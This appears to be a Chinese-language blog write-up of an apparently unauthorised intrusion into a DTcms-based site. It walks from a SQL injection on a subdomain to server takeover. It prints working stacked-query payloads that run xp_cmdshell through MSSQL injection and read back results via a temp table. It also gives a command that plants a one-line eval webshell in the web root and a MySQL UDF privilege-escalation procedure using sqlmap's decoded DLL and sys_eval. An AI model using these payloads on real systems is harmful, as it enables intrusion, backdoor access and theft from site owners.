目标是用的DTcms,百度翻烂了,各种翻都没找到一个漏洞,手工也没找到任何漏洞,正当我准备放弃时,谷歌给了我惊喜,于是这篇文章便诞生了。
发现注入点
本打算随便看看的,也就没跑二级域名,结果通过谷歌发现了一个二级,而且这个二级站居然是给目标站post数据的,最重要的是,这特么居然有注入!!

被防火墙拦截


sql-shell妙用
在sqlmap中也是无法跑出数据库来,尝试交互shell也失败,想到是sa权限,不如试试sql?然后奇葩的事情就发生了。
初试拿shell

- 获取后台的密码,然后登陆后台拿shell。

- 直接执行xp_cmdshell

- 直接创建dba权限的用户,然后连接数据库提权服务器。然而依然失败。
- 在执行命令的过程中,还是各种500,被拉IP,而且执行命令也一直是无回显,因此怀疑sqlmap抽风了。
手注获得shell
实在没辙的我,不得不现行百度找语句尝试手注(记性不好外加懒,因此一直没有努力把手注给彻底掌握),而在手注的过程中发现并没有什么防火墙,我勒个去,那我的sqlmap和穿山甲神器是被狗日了?

';CREATE TABLE tt_tmp (tmp1 varchar(8000));-- //第一步,创建临时表
';insert into tt_tmp(tmp1) exec master..xp_cmdshell 'for /r c:\ %i in (Newslist*.aspx) do @echo %i ';-- //第二步,用xp_cmdshell搜索并且把结果写入到表
' and 1=(select top 1 tmp1 from tt_tmp)and 'a'='a // 第三步,查看结果
//具体请前往原文地址看
原文地址:https://www.cnblogs.com/backlion/p/6869595.html
这里或许有人会问,既然能执行xp_cmdshell,权限又那么大,为什么不直接添加system用户上服务器呢?
我也想啊,问题是直接执行xp_cmdshell的话,页面返回正常,也就是无回显,当然,也可以利用上面的方法,把回显写入到表中,然后查表内容来看,可是你们不觉得这样很麻烦吗?还不如getshell,反正是sa,getshell后想怎么玩就怎么玩(拿下shell后才发现此sa非彼sa)。
回到正题,刚才我们已经得到了绝对路径,那么就是写shell了:
';exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["pass"],"unsafe");%^> > c:\\WWW\\233.aspx' ;--
通过这条语句成功写入一句话,

服务器提权



MYSQL提权
因为是aspx的,连接jdbc的mysql有些麻烦,所以只有用lcx将mysql转发出来然后提权。
此处感谢 阴天基友的指点,虽然当时因为提权的事情闹了点小矛盾,但在我们爆棚的基情下,小矛盾是无法阻止我们的基情的~表示第一次手动导DLL提权,有几处不明白的地方,导致一直没有提下,顺便在此记录一下。 流程:
- 解码sqlmap中的dll
python cloak.py -d -i /usr/share/sqlmap/udf/mysql/windows/64/lib_mysqludf_sys.dll_
函数:
sys_eval,执行任意命令,并将输出返回。
sys_exec,执行任意命令,并将退出码返回。
sys_get,获取一个环境变量。
sys_set,创建或修改一个环境变量。
/*关于此命令,文章:http://blog.csdn.net/x728999452/article/details/52413974
*在这个步骤中,我曾犯了几个错误:
*1.没有解码sqlmap中的dll。
*2.dll中有固定的函数,当时我用的是上面函数以外的函数。导致一直提示[Err] 1124 - No paths allowed for shared library
*3.5.1大于或者等于5.1都必须插件目录,5.0或者以下任意环境变量目录.
*/
- 上传解码后的dll到插件目录,然后注册函数
create function sys_eval returns string soname 'udf.dll'
select sys_eval("ver");
//然后可以直接通过mysql的命令工具来执行system权限的命令了
mysql -u root -ppassword -e "select sys_eval('whoami')" mysql
总结
至此本次渗透结束,虽然从昨晚一直折腾到下午2点,但是很高兴,因为从中学习到了很多。
- 要善作笔记,记性差,就更要做笔记,很多东西,需要的时候百度真难找。
- 计算机基础实在太差,以后不仅需要多看渗透资料,别的方面的也需要多了解研究。
- 轮手注的重要性,工具终究只是工具,我不知道为什么sqlmap会老是被墙,这不是第一次出现这种工具无法注入,手工却无阻的情况了,手工,必须要彻底掌握。